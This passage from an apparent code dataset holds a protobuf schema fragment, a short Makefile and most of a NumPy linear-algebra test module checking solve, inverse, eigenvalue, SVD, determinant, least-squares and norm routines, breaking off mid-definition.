float x = 2;\n optional float y = 3;\n optional float scale = 4;\n optional float orientation = 5;\n optional float strength = 6;\n}\n\nmessage DelfFeatures {\n repeated DelfFeature feature = 1;\n}\n"} +{"text": "CXX_SOURCES := main.cpp foo.cpp\n\ninclude Makefile.rules\n"} +{"text": "\"\"\" Test functions for linalg module\n\n\"\"\"\nfrom __future__ import division, absolute_import, print_function\n\nimport os\nimport sys\nimport itertools\nimport traceback\n\nimport numpy as np\nfrom numpy import array, single, double, csingle, cdouble, dot, identity\nfrom numpy import multiply, atleast_2d, inf, asarray, matrix\nfrom numpy import linalg\nfrom numpy.linalg import matrix_power, norm, matrix_rank, multi_dot\nfrom numpy.linalg.linalg import _multi_dot_matrix_chain_order\nfrom numpy.testing import (\n assert_, assert_equal, assert_raises, assert_array_equal,\n assert_almost_equal, assert_allclose, run_module_suite,\n dec\n)\n\n\ndef ifthen(a, b):\n return not a or b\n\n\ndef imply(a, b):\n return not a or b\n\n\nold_assert_almost_equal = assert_almost_equal\n\n\ndef assert_almost_equal(a, b, **kw):\n if asarray(a).dtype.type in (single, csingle):\n decimal = 6\n else:\n decimal = 12\n old_assert_almost_equal(a, b, decimal=decimal, **kw)\n\n\ndef get_real_dtype(dtype):\n return {single: single, double: double,\n csingle: single, cdouble: double}[dtype]\n\n\ndef get_complex_dtype(dtype):\n return {single: csingle, double: cdouble,\n csingle: csingle, cdouble: cdouble}[dtype]\n\n\ndef get_rtol(dtype):\n # Choose a safe rtol\n if dtype in (single, csingle):\n return 1e-5\n else:\n return 1e-11\n\n\nclass LinalgCase(object):\n\n def __init__(self, name, a, b, exception_cls=None):\n assert isinstance(name, str)\n self.name = name\n self.a = a\n self.b = b\n self.exception_cls = exception_cls\n\n def check(self, do):\n if self.exception_cls is None:\n do(self.a, self.b)\n else:\n assert_raises(self.exception_cls, do, self.a, self.b)\n\n def __repr__(self):\n return \"\" % (self.name,)\n\n\n#\n# Base test cases\n#\n\nnp.random.seed(1234)\n\nSQUARE_CASES = [\n LinalgCase(\"single\",\n array([[1., 2.], [3., 4.]], dtype=single),\n array([2., 1.], dtype=single)),\n LinalgCase(\"double\",\n array([[1., 2.], [3., 4.]], dtype=double),\n array([2., 1.], dtype=double)),\n LinalgCase(\"double_2\",\n array([[1., 2.], [3., 4.]], dtype=double),\n array([[2., 1., 4.], [3., 4., 6.]], dtype=double)),\n LinalgCase(\"csingle\",\n array([[1. + 2j, 2 + 3j], [3 + 4j, 4 + 5j]], dtype=csingle),\n array([2. + 1j, 1. + 2j], dtype=csingle)),\n LinalgCase(\"cdouble\",\n array([[1. + 2j, 2 + 3j], [3 + 4j, 4 + 5j]], dtype=cdouble),\n array([2. + 1j, 1. + 2j], dtype=cdouble)),\n LinalgCase(\"cdouble_2\",\n array([[1. + 2j, 2 + 3j], [3 + 4j, 4 + 5j]], dtype=cdouble),\n array([[2. + 1j, 1. + 2j, 1 + 3j], [1 - 2j, 1 - 3j, 1 - 6j]], dtype=cdouble)),\n LinalgCase(\"empty\",\n atleast_2d(array([], dtype=double)),\n atleast_2d(array([], dtype=double)),\n linalg.LinAlgError),\n LinalgCase(\"8x8\",\n np.random.rand(8, 8),\n np.random.rand(8)),\n LinalgCase(\"1x1\",\n np.random.rand(1, 1),\n np.random.rand(1)),\n LinalgCase(\"nonarray\",\n [[1, 2], [3, 4]],\n [2, 1]),\n LinalgCase(\"matrix_b_only\",\n array([[1., 2.], [3., 4.]]),\n matrix([2., 1.]).T),\n LinalgCase(\"matrix_a_and_b\",\n matrix([[1., 2.], [3., 4.]]),\n matrix([2., 1.]).T),\n]\n\nNONSQUARE_CASES = [\n LinalgCase(\"single_nsq_1\",\n array([[1., 2., 3.], [3., 4., 6.]], dtype=single),\n array([2., 1.], dtype=single)),\n LinalgCase(\"single_nsq_2\",\n array([[1., 2.], [3., 4.], [5., 6.]], dtype=single),\n array([2., 1., 3.], dtype=single)),\n LinalgCase(\"double_nsq_1\",\n array([[1., 2., 3.], [3., 4., 6.]], dtype=double),\n array([2., 1.], dtype=double)),\n LinalgCase(\"double_nsq_2\",\n array([[1., 2.], [3., 4.], [5., 6.]], dtype=double),\n array([2., 1., 3.], dtype=double)),\n LinalgCase(\"csingle_nsq_1\",\n array(\n [[1. + 1j, 2. + 2j, 3. - 3j], [3. - 5j, 4. + 9j, 6. + 2j]], dtype=csingle),\n array([2. + 1j, 1. + 2j], dtype=csingle)),\n LinalgCase(\"csingle_nsq_2\",\n array(\n [[1. + 1j, 2. + 2j], [3. - 3j, 4. - 9j], [5. - 4j, 6. + 8j]], dtype=csingle),\n array([2. + 1j, 1. + 2j, 3. - 3j], dtype=csingle)),\n LinalgCase(\"cdouble_nsq_1\",\n array(\n [[1. + 1j, 2. + 2j, 3. - 3j], [3. - 5j, 4. + 9j, 6. + 2j]], dtype=cdouble),\n array([2. + 1j, 1. + 2j], dtype=cdouble)),\n LinalgCase(\"cdouble_nsq_2\",\n array(\n [[1. + 1j, 2. + 2j], [3. - 3j, 4. - 9j], [5. - 4j, 6. + 8j]], dtype=cdouble),\n array([2. + 1j, 1. + 2j, 3. - 3j], dtype=cdouble)),\n LinalgCase(\"cdouble_nsq_1_2\",\n array(\n [[1. + 1j, 2. + 2j, 3. - 3j], [3. - 5j, 4. + 9j, 6. + 2j]], dtype=cdouble),\n array([[2. + 1j, 1. + 2j], [1 - 1j, 2 - 2j]], dtype=cdouble)),\n LinalgCase(\"cdouble_nsq_2_2\",\n array(\n [[1. + 1j, 2. + 2j], [3. - 3j, 4. - 9j], [5. - 4j, 6. + 8j]], dtype=cdouble),\n array([[2. + 1j, 1. + 2j], [1 - 1j, 2 - 2j], [1 - 1j, 2 - 2j]], dtype=cdouble)),\n LinalgCase(\"8x11\",\n np.random.rand(8, 11),\n np.random.rand(11)),\n LinalgCase(\"1x5\",\n np.random.rand(1, 5),\n np.random.rand(5)),\n LinalgCase(\"5x1\",\n np.random.rand(5, 1),\n np.random.rand(1)),\n]\n\nHERMITIAN_CASES = [\n LinalgCase(\"hsingle\",\n array([[1., 2.], [2., 1.]], dtype=single),\n None),\n LinalgCase(\"hdouble\",\n array([[1., 2.], [2., 1.]], dtype=double),\n None),\n LinalgCase(\"hcsingle\",\n array([[1., 2 + 3j], [2 - 3j, 1]], dtype=csingle),\n None),\n LinalgCase(\"hcdouble\",\n array([[1., 2 + 3j], [2 - 3j, 1]], dtype=cdouble),\n None),\n LinalgCase(\"hempty\",\n atleast_2d(array([], dtype=double)),\n None,\n linalg.LinAlgError),\n LinalgCase(\"hnonarray\",\n [[1, 2], [2, 1]],\n None),\n LinalgCase(\"matrix_b_only\",\n array([[1., 2.], [2., 1.]]),\n None),\n LinalgCase(\"hmatrix_a_and_b\",\n matrix([[1., 2.], [2., 1.]]),\n None),\n LinalgCase(\"hmatrix_1x1\",\n np.random.rand(1, 1),\n None),\n]\n\n\n#\n# Gufunc test cases\n#\n\nGENERALIZED_SQUARE_CASES = []\nGENERALIZED_NONSQUARE_CASES = []\nGENERALIZED_HERMITIAN_CASES = []\n\nfor tgt, src in ((GENERALIZED_SQUARE_CASES, SQUARE_CASES),\n (GENERALIZED_NONSQUARE_CASES, NONSQUARE_CASES),\n (GENERALIZED_HERMITIAN_CASES, HERMITIAN_CASES)):\n for case in src:\n if not isinstance(case.a, np.ndarray):\n continue\n\n a = np.array([case.a, 2 * case.a, 3 * case.a])\n if case.b is None:\n b = None\n else:\n b = np.array([case.b, 7 * case.b, 6 * case.b])\n new_case = LinalgCase(case.name + \"_tile3\", a, b,\n case.exception_cls)\n tgt.append(new_case)\n\n a = np.array([case.a] * 2 * 3).reshape((3, 2) + case.a.shape)\n if case.b is None:\n b = None\n else:\n b = np.array([case.b] * 2 * 3).reshape((3, 2) + case.b.shape)\n new_case = LinalgCase(case.name + \"_tile213\", a, b,\n case.exception_cls)\n tgt.append(new_case)\n\n#\n# Generate stride combination variations of the above\n#\n\n\ndef _stride_comb_iter(x):\n \"\"\"\n Generate cartesian product of strides for all axes\n \"\"\"\n\n if not isinstance(x, np.ndarray):\n yield x, \"nop\"\n return\n\n stride_set = [(1,)] * x.ndim\n stride_set[-1] = (1, 3, -4)\n if x.ndim > 1:\n stride_set[-2] = (1, 3, -4)\n if x.ndim > 2:\n stride_set[-3] = (1, -4)\n\n for repeats in itertools.product(*tuple(stride_set)):\n new_shape = [abs(a * b) for a, b in zip(x.shape, repeats)]\n slices = tuple([slice(None, None, repeat) for repeat in repeats])\n\n # new array with different strides, but same data\n xi = np.empty(new_shape, dtype=x.dtype)\n xi.view(np.uint32).fill(0xdeadbeef)\n xi = xi[slices]\n xi[...] = x\n xi = xi.view(x.__class__)\n assert np.all(xi == x)\n yield xi, \"stride_\" + \"_\".join([\"%+d\" % j for j in repeats])\n\n # generate also zero strides if possible\n if x.ndim >= 1 and x.shape[-1] == 1:\n s = list(x.strides)\n s[-1] = 0\n xi = np.lib.stride_tricks.as_strided(x, strides=s)\n yield xi, \"stride_xxx_0\"\n if x.ndim >= 2 and x.shape[-2] == 1:\n s = list(x.strides)\n s[-2] = 0\n xi = np.lib.stride_tricks.as_strided(x, strides=s)\n yield xi, \"stride_xxx_0_x\"\n if x.ndim >= 2 and x.shape[:-2] == (1, 1):\n s = list(x.strides)\n s[-1] = 0\n s[-2] = 0\n xi = np.lib.stride_tricks.as_strided(x, strides=s)\n yield xi, \"stride_xxx_0_0\"\n\nfor src in (SQUARE_CASES,\n NONSQUARE_CASES,\n HERMITIAN_CASES,\n GENERALIZED_SQUARE_CASES,\n GENERALIZED_NONSQUARE_CASES,\n GENERALIZED_HERMITIAN_CASES):\n\n new_cases = []\n for case in src:\n for a, a_tag in _stride_comb_iter(case.a):\n for b, b_tag in _stride_comb_iter(case.b):\n new_case = LinalgCase(case.name + \"_\" + a_tag + \"_\" + b_tag, a, b,\n exception_cls=case.exception_cls)\n new_cases.append(new_case)\n src.extend(new_cases)\n\n\n#\n# Test different routines against the above cases\n#\n\ndef _check_cases(func, cases):\n for case in cases:\n try:\n case.check(func)\n except Exception:\n msg = \"In test case: %r\\n\\n\" % case\n msg += traceback.format_exc()\n raise AssertionError(msg)\n\n\nclass LinalgTestCase(object):\n\n def test_sq_cases(self):\n _check_cases(self.do, SQUARE_CASES)\n\n\nclass LinalgNonsquareTestCase(object):\n\n def test_sq_cases(self):\n _check_cases(self.do, NONSQUARE_CASES)\n\n\nclass LinalgGeneralizedTestCase(object):\n\n @dec.slow\n def test_generalized_sq_cases(self):\n _check_cases(self.do, GENERALIZED_SQUARE_CASES)\n\n\nclass LinalgGeneralizedNonsquareTestCase(object):\n\n @dec.slow\n def test_generalized_nonsq_cases(self):\n _check_cases(self.do, GENERALIZED_NONSQUARE_CASES)\n\n\nclass HermitianTestCase(object):\n\n def test_herm_cases(self):\n _check_cases(self.do, HERMITIAN_CASES)\n\n\nclass HermitianGeneralizedTestCase(object):\n\n @dec.slow\n def test_generalized_herm_cases(self):\n _check_cases(self.do, GENERALIZED_HERMITIAN_CASES)\n\n\ndef dot_generalized(a, b):\n a = asarray(a)\n if a.ndim >= 3:\n if a.ndim == b.ndim:\n # matrix x matrix\n new_shape = a.shape[:-1] + b.shape[-1:]\n elif a.ndim == b.ndim + 1:\n # matrix x vector\n new_shape = a.shape[:-1]\n else:\n raise ValueError(\"Not implemented...\")\n r = np.empty(new_shape, dtype=np.common_type(a, b))\n for c in itertools.product(*map(range, a.shape[:-2])):\n r[c] = dot(a[c], b[c])\n return r\n else:\n return dot(a, b)\n\n\ndef identity_like_generalized(a):\n a = asarray(a)\n if a.ndim >= 3:\n r = np.empty(a.shape, dtype=a.dtype)\n for c in itertools.product(*map(range, a.shape[:-2])):\n r[c] = identity(a.shape[-2])\n return r\n else:\n return identity(a.shape[0])\n\n\nclass TestSolve(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n x = linalg.solve(a, b)\n assert_almost_equal(b, dot_generalized(a, x))\n assert_(imply(isinstance(b, matrix), isinstance(x, matrix)))\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n assert_equal(linalg.solve(x, x).dtype, dtype)\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n def test_0_size(self):\n class ArraySubclass(np.ndarray):\n pass\n # Test system of 0x0 matrices\n a = np.arange(8).reshape(2, 2, 2)\n b = np.arange(6).reshape(1, 2, 3).view(ArraySubclass)\n\n expected = linalg.solve(a, b)[:, 0:0, :]\n result = linalg.solve(a[:, 0:0, 0:0], b[:, 0:0, :])\n assert_array_equal(result, expected)\n assert_(isinstance(result, ArraySubclass))\n\n # Test errors for non-square and only b's dimension being 0\n assert_raises(linalg.LinAlgError, linalg.solve, a[:, 0:0, 0:1], b)\n assert_raises(ValueError, linalg.solve, a, b[:, 0:0, :])\n\n # Test broadcasting error\n b = np.arange(6).reshape(1, 3, 2) # broadcasting error\n assert_raises(ValueError, linalg.solve, a, b)\n assert_raises(ValueError, linalg.solve, a[0:0], b[0:0])\n\n # Test zero \"single equations\" with 0x0 matrices.\n b = np.arange(2).reshape(1, 2).view(ArraySubclass)\n expected = linalg.solve(a, b)[:, 0:0]\n result = linalg.solve(a[:, 0:0, 0:0], b[:, 0:0])\n assert_array_equal(result, expected)\n assert_(isinstance(result, ArraySubclass))\n\n b = np.arange(3).reshape(1, 3)\n assert_raises(ValueError, linalg.solve, a, b)\n assert_raises(ValueError, linalg.solve, a[0:0], b[0:0])\n assert_raises(ValueError, linalg.solve, a[:, 0:0, 0:0], b)\n\n def test_0_size_k(self):\n # test zero multiple equation (K=0) case.\n class ArraySubclass(np.ndarray):\n pass\n a = np.arange(4).reshape(1, 2, 2)\n b = np.arange(6).reshape(3, 2, 1).view(ArraySubclass)\n\n expected = linalg.solve(a, b)[:, :, 0:0]\n result = linalg.solve(a, b[:, :, 0:0])\n assert_array_equal(result, expected)\n assert_(isinstance(result, ArraySubclass))\n\n # test both zero.\n expected = linalg.solve(a, b)[:, 0:0, 0:0]\n result = linalg.solve(a[:, 0:0, 0:0], b[:, 0:0, 0:0])\n assert_array_equal(result, expected)\n assert_(isinstance(result, ArraySubclass))\n\n\nclass TestInv(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n a_inv = linalg.inv(a)\n assert_almost_equal(dot_generalized(a, a_inv),\n identity_like_generalized(a))\n assert_(imply(isinstance(a, matrix), isinstance(a_inv, matrix)))\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n assert_equal(linalg.inv(x).dtype, dtype)\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n def test_0_size(self):\n # Check that all kinds of 0-sized arrays work\n class ArraySubclass(np.ndarray):\n pass\n a = np.zeros((0, 1, 1), dtype=np.int_).view(ArraySubclass)\n res = linalg.inv(a)\n assert_(res.dtype.type is np.float64)\n assert_equal(a.shape, res.shape)\n assert_(isinstance(a, ArraySubclass))\n\n a = np.zeros((0, 0), dtype=np.complex64).view(ArraySubclass)\n res = linalg.inv(a)\n assert_(res.dtype.type is np.complex64)\n assert_equal(a.shape, res.shape)\n\n\nclass TestEigvals(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n ev = linalg.eigvals(a)\n evalues, evectors = linalg.eig(a)\n assert_almost_equal(ev, evalues)\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n assert_equal(linalg.eigvals(x).dtype, dtype)\n x = np.array([[1, 0.5], [-1, 1]], dtype=dtype)\n assert_equal(linalg.eigvals(x).dtype, get_complex_dtype(dtype))\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n\nclass TestEig(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n evalues, evectors = linalg.eig(a)\n assert_allclose(dot_generalized(a, evectors),\n np.asarray(evectors) * np.asarray(evalues)[..., None, :],\n rtol=get_rtol(evalues.dtype))\n assert_(imply(isinstance(a, matrix), isinstance(evectors, matrix)))\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n w, v = np.linalg.eig(x)\n assert_equal(w.dtype, dtype)\n assert_equal(v.dtype, dtype)\n\n x = np.array([[1, 0.5], [-1, 1]], dtype=dtype)\n w, v = np.linalg.eig(x)\n assert_equal(w.dtype, get_complex_dtype(dtype))\n assert_equal(v.dtype, get_complex_dtype(dtype))\n\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n\nclass TestSVD(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n u, s, vt = linalg.svd(a, 0)\n assert_allclose(a, dot_generalized(np.asarray(u) * np.asarray(s)[..., None, :],\n np.asarray(vt)),\n rtol=get_rtol(u.dtype))\n assert_(imply(isinstance(a, matrix), isinstance(u, matrix)))\n assert_(imply(isinstance(a, matrix), isinstance(vt, matrix)))\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n u, s, vh = linalg.svd(x)\n assert_equal(u.dtype, dtype)\n assert_equal(s.dtype, get_real_dtype(dtype))\n assert_equal(vh.dtype, dtype)\n s = linalg.svd(x, compute_uv=False)\n assert_equal(s.dtype, get_real_dtype(dtype))\n\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n\nclass TestCondSVD(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n c = asarray(a) # a might be a matrix\n s = linalg.svd(c, compute_uv=False)\n old_assert_almost_equal(\n s[..., 0] / s[..., -1], linalg.cond(a), decimal=5)\n\n def test_stacked_arrays_explicitly(self):\n A = np.array([[1., 2., 1.], [0, -2., 0], [6., 2., 3.]])\n assert_equal(linalg.cond(A), linalg.cond(A[None, ...])[0])\n\n\nclass TestCond2(LinalgTestCase):\n\n def do(self, a, b):\n c = asarray(a) # a might be a matrix\n s = linalg.svd(c, compute_uv=False)\n old_assert_almost_equal(\n s[..., 0] / s[..., -1], linalg.cond(a, 2), decimal=5)\n\n def test_stacked_arrays_explicitly(self):\n A = np.array([[1., 2., 1.], [0, -2., 0], [6., 2., 3.]])\n assert_equal(linalg.cond(A, 2), linalg.cond(A[None, ...], 2)[0])\n\n\nclass TestCondInf(object):\n\n def test(self):\n A = array([[1., 0, 0], [0, -2., 0], [0, 0, 3.]])\n assert_almost_equal(linalg.cond(A, inf), 3.)\n\n\nclass TestPinv(LinalgTestCase):\n\n def do(self, a, b):\n a_ginv = linalg.pinv(a)\n assert_almost_equal(dot(a, a_ginv), identity(asarray(a).shape[0]))\n assert_(imply(isinstance(a, matrix), isinstance(a_ginv, matrix)))\n\n\nclass TestDet(LinalgTestCase, LinalgGeneralizedTestCase):\n\n def do(self, a, b):\n d = linalg.det(a)\n (s, ld) = linalg.slogdet(a)\n if asarray(a).dtype.type in (single, double):\n ad = asarray(a).astype(double)\n else:\n ad = asarray(a).astype(cdouble)\n ev = linalg.eigvals(ad)\n assert_almost_equal(d, multiply.reduce(ev, axis=-1))\n assert_almost_equal(s * np.exp(ld), multiply.reduce(ev, axis=-1))\n\n s = np.atleast_1d(s)\n ld = np.atleast_1d(ld)\n m = (s != 0)\n assert_almost_equal(np.abs(s[m]), 1)\n assert_equal(ld[~m], -inf)\n\n def test_zero(self):\n assert_equal(linalg.det([[0.0]]), 0.0)\n assert_equal(type(linalg.det([[0.0]])), double)\n assert_equal(linalg.det([[0.0j]]), 0.0)\n assert_equal(type(linalg.det([[0.0j]])), cdouble)\n\n assert_equal(linalg.slogdet([[0.0]]), (0.0, -inf))\n assert_equal(type(linalg.slogdet([[0.0]])[0]), double)\n assert_equal(type(linalg.slogdet([[0.0]])[1]), double)\n assert_equal(linalg.slogdet([[0.0j]]), (0.0j, -inf))\n assert_equal(type(linalg.slogdet([[0.0j]])[0]), cdouble)\n assert_equal(type(linalg.slogdet([[0.0j]])[1]), double)\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n assert_equal(np.linalg.det(x).dtype, dtype)\n ph, s = np.linalg.slogdet(x)\n assert_equal(s.dtype, get_real_dtype(dtype))\n assert_equal(ph.dtype, dtype)\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n\nclass TestLstsq(LinalgTestCase, LinalgNonsquareTestCase):\n\n def do(self, a, b):\n arr = np.asarray(a)\n m, n = arr.shape\n u, s, vt = linalg.svd(a, 0)\n x, residuals, rank, sv = linalg.lstsq(a, b)\n if m <= n:\n assert_almost_equal(b, dot(a, x))\n assert_equal(rank, m)\n else:\n assert_equal(rank, n)\n assert_almost_equal(sv, sv.__array_wrap__(s))\n if rank == n and m > n:\n expect_resids = (\n np.asarray(abs(np.dot(a, x) - b)) ** 2).sum(axis=0)\n expect_resids = np.asarray(expect_resids)\n if len(np.asarray(b).shape) == 1:\n expect_resids.shape = (1,)\n assert_equal(residuals.shape, expect_resids.shape)\n else:\n expect_resids = np.array([]).view(type(x))\n assert_almost_equal(residuals, expect_resids)\n assert_(np.issubdtype(residuals.dtype, np.floating))\n assert_(imply(isinstance(b, matrix), isinstance(x, matrix)))\n assert_(imply(isinstance(b, matrix), isinstance(residuals, matrix)))\n\n\nclass TestMatrixPower(object):\n R90 = array([[0, 1], [-1, 0]])\n Arb22 = array([[4, -7], [-2, 10]])\n noninv = array([[1, 0], [0, 0]])\n arbfloat = array([[0.1, 3.2], [1.2, 0.7]])\n\n large = identity(10)\n t = large[1, :].copy()\n large[1, :] = large[0,:]\n large[0, :] = t\n\n def test_large_power(self):\n assert_equal(\n matrix_power(self.R90, 2 ** 100 + 2 ** 10 + 2 ** 5 + 1), self.R90)\n\n def test_large_power_trailing_zero(self):\n assert_equal(\n matrix_power(self.R90, 2 ** 100 + 2 ** 10 + 2 ** 5), identity(2))\n\n def testip_zero(self):\n def tz(M):\n mz = matrix_power(M, 0)\n assert_equal(mz, identity(M.shape[0]))\n assert_equal(mz.dtype, M.dtype)\n for M in [self.Arb22, self.arbfloat, self.large]:\n yield tz, M\n\n def testip_one(self):\n def tz(M):\n mz = matrix_power(M, 1)\n assert_equal(mz, M)\n assert_equal(mz.dtype, M.dtype)\n for M in [self.Arb22, self.arbfloat, self.large]:\n yield tz, M\n\n def testip_two(self):\n def tz(M):\n mz = matrix_power(M, 2)\n assert_equal(mz, dot(M, M))\n assert_equal(mz.dtype, M.dtype)\n for M in [self.Arb22, self.arbfloat, self.large]:\n yield tz, M\n\n def testip_invert(self):\n def tz(M):\n mz = matrix_power(M, -1)\n assert_almost_equal(identity(M.shape[0]), dot(mz, M))\n for M in [self.R90, self.Arb22, self.arbfloat, self.large]:\n yield tz, M\n\n def test_invert_noninvertible(self):\n import numpy.linalg\n assert_raises(numpy.linalg.linalg.LinAlgError,\n lambda: matrix_power(self.noninv, -1))\n\n\nclass TestBoolPower(object):\n\n def test_square(self):\n A = array([[True, False], [True, True]])\n assert_equal(matrix_power(A, 2), A)\n\n\nclass TestEigvalsh(HermitianTestCase, HermitianGeneralizedTestCase):\n\n def do(self, a, b):\n # note that eigenvalue arrays returned by eig must be sorted since\n # their order isn't guaranteed.\n ev = linalg.eigvalsh(a, 'L')\n evalues, evectors = linalg.eig(a)\n evalues.sort(axis=-1)\n assert_allclose(ev, evalues, rtol=get_rtol(ev.dtype))\n\n ev2 = linalg.eigvalsh(a, 'U')\n assert_allclose(ev2, evalues, rtol=get_rtol(ev.dtype))\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n w = np.linalg.eigvalsh(x)\n assert_equal(w.dtype, get_real_dtype(dtype))\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n def test_invalid(self):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=np.float32)\n assert_raises(ValueError, np.linalg.eigvalsh, x, UPLO=\"lrong\")\n assert_raises(ValueError, np.linalg.eigvalsh, x, \"lower\")\n assert_raises(ValueError, np.linalg.eigvalsh, x, \"upper\")\n\n def test_UPLO(self):\n Klo = np.array([[0, 0], [1, 0]], dtype=np.double)\n Kup = np.array([[0, 1], [0, 0]], dtype=np.double)\n tgt = np.array([-1, 1], dtype=np.double)\n rtol = get_rtol(np.double)\n\n # Check default is 'L'\n w = np.linalg.eigvalsh(Klo)\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'L'\n w = np.linalg.eigvalsh(Klo, UPLO='L')\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'l'\n w = np.linalg.eigvalsh(Klo, UPLO='l')\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'U'\n w = np.linalg.eigvalsh(Kup, UPLO='U')\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'u'\n w = np.linalg.eigvalsh(Kup, UPLO='u')\n assert_allclose(w, tgt, rtol=rtol)\n\n\nclass TestEigh(HermitianTestCase, HermitianGeneralizedTestCase):\n\n def do(self, a, b):\n # note that eigenvalue arrays returned by eig must be sorted since\n # their order isn't guaranteed.\n ev, evc = linalg.eigh(a)\n evalues, evectors = linalg.eig(a)\n evalues.sort(axis=-1)\n assert_almost_equal(ev, evalues)\n\n assert_allclose(dot_generalized(a, evc),\n np.asarray(ev)[..., None, :] * np.asarray(evc),\n rtol=get_rtol(ev.dtype))\n\n ev2, evc2 = linalg.eigh(a, 'U')\n assert_almost_equal(ev2, evalues)\n\n assert_allclose(dot_generalized(a, evc2),\n np.asarray(ev2)[..., None, :] * np.asarray(evc2),\n rtol=get_rtol(ev.dtype), err_msg=repr(a))\n\n def test_types(self):\n def check(dtype):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=dtype)\n w, v = np.linalg.eigh(x)\n assert_equal(w.dtype, get_real_dtype(dtype))\n assert_equal(v.dtype, dtype)\n for dtype in [single, double, csingle, cdouble]:\n yield check, dtype\n\n def test_invalid(self):\n x = np.array([[1, 0.5], [0.5, 1]], dtype=np.float32)\n assert_raises(ValueError, np.linalg.eigh, x, UPLO=\"lrong\")\n assert_raises(ValueError, np.linalg.eigh, x, \"lower\")\n assert_raises(ValueError, np.linalg.eigh, x, \"upper\")\n\n def test_UPLO(self):\n Klo = np.array([[0, 0], [1, 0]], dtype=np.double)\n Kup = np.array([[0, 1], [0, 0]], dtype=np.double)\n tgt = np.array([-1, 1], dtype=np.double)\n rtol = get_rtol(np.double)\n\n # Check default is 'L'\n w, v = np.linalg.eigh(Klo)\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'L'\n w, v = np.linalg.eigh(Klo, UPLO='L')\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'l'\n w, v = np.linalg.eigh(Klo, UPLO='l')\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'U'\n w, v = np.linalg.eigh(Kup, UPLO='U')\n assert_allclose(w, tgt, rtol=rtol)\n # Check 'u'\n w, v = np.linalg.eigh(Kup, UPLO='u')\n assert_allclose(w, tgt, rtol=rtol)\n\n\nclass _TestNorm(object):\n\n dt = None\n dec = None\n\n def test_empty(self):\n assert_equal(norm([]), 0.0)\n assert_equal(norm(array([], dtype=self.dt)), 0.0)\n assert_equal(norm(atleast_2d(array([], dtype=self.dt))), 0.0)\n\n def test_vector(self):\n a = [1, 2, 3, 4]\n b = [-1, -2, -3, -4]\n c = [-1, 2, -3, 4]\n\n def _test(v):\n np.testing.assert_almost_equal(norm(v), 30 ** 0.5,\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, inf), 4.0,\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, -inf), 1.0,\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, 1), 10.0,\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, -1), 12.0 / 25,\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, 2), 30 ** 0.5,\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, -2), ((205. / 144) ** -0.5),\n decimal=self.dec)\n np.testing.assert_almost_equal(norm(v, 0), 4,\n decimal=self.dec)\n\n for v in (a, b, c,):\n _test(v)\n\n for v in (array(a, dtype=self.dt), array(b, dtype=self.dt),\n array(c, dtype=self.dt)):\n _test(v)\n\n def test_matrix_2x2(self):\n A = matrix([[1, 3], [5, 7]], dtype=self.dt)\n assert_almost_equal(norm(A), 84 ** 0.5)\n assert_almost_equal(norm(A, 'fro'), 84 ** 0.5)\n assert_almost_equal(norm(A, 'nuc'), 10.0)\n assert_almost_equal(norm(A, inf), 12.0)\n assert_almost_equal(norm(A, -inf), 4.0)\n assert_almost_equal(norm(A, 1), 10.0)\n assert_almost_equal(norm(A, -1), 6.0)\n assert_almost_equal(norm(A, 2), 9.1231056256176615)\n assert_almost_equal(norm(A, -2), 0.87689437438234041)\n\n assert_raises(ValueError, norm, A, 'nofro')\n assert_raises(ValueError, norm, A, -3)\n assert_raises(ValueError, norm, A, 0)\n\n def test_matrix_3x3(self):\n # This test has been added because the 2x2 example\n # happened to have equal nuclear norm and induced 1-norm.\n # The 1/10 scaling factor accommodates the absolute tolerance\n # used in assert_almost_equal.\n A = (1 / 10) * \\\n np.array([[1, 2, 3], [6, 0, 5], [3, 2, 1]], dtype=self.dt)\n assert_almost_equal(norm(A), (1 / 10) * 89 ** 0.5)\n assert_almost_equal(norm(A, 'fro'), (1 / 10) * 89 ** 0.5)\n assert_almost_equal(norm(A, 'nuc'), 1.3366836911774836)\n assert_almost_equal(norm(A, inf), 1.1)\n assert_almost_equal(norm(A, -inf), 0.6)\n assert_almost_equal(norm(A, 1), 1.0)\n assert_almost_equal(norm(A, -1), 0.4)\n assert_almost_equal(norm(A, 2), 0.88722940323461277)\n assert_almost_equal(norm(A, -2), 0.19456584790481812)\n\n def 